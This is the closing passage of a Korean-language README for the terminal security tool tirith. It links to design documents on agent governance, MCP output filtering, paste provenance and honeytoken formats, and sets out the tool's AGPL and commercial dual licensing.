- [에이전트 거버넌스](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (호출자 출처 귀속 및 `agent_rules`)
- [MCP 출력 필터](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (게이트웨이 및 MCP 출력 위생화 계약)
- [닥터 모드](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (전체 vs `--quick`, 및 JSON 스냅샷 스키마)
- [LSP 및 편집기 프로필](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (인라인 편집기 진단)
- [브라우저 네이티브 메시징](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (클립보드 출처 호스트 및 확장)
- [붙여넣기 출처](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (`paste_source_mismatch` 규칙)
- [카나리 형식](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (합성 허니토큰 형식)
- [프롬프트 통합](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (셸 프롬프트에 `tirith prompt-status` 연결)

## 라이선스

**핵심 보안 범위는 오픈소스 트리에 포함되어 있습니다.** 221개의 감지 규칙과 MCP 서버는 소스에서 사용할 수 있습니다. 리포지토리에는 여전히 레거시 라이선싱 및 정책 서버 코드 경로가 포함되어 있으므로 모든 런타임 경로가 이미 계층 없는(tier-free) 것으로 가정하지 마십시오.

tirith는 이중 라이선스입니다:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), 카피레프트 조건 하에 무료
- **상업용**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), AGPL 카피레프트 의무가 귀하의 사용 사례에 적합하지 않은 경우 대체 라이선싱을 위해 [email protected]에 문의하십시오.

타사 데이터 귀속은 [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE)에 있습니다.

## 스타 히스토리

[![Star History Chart](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)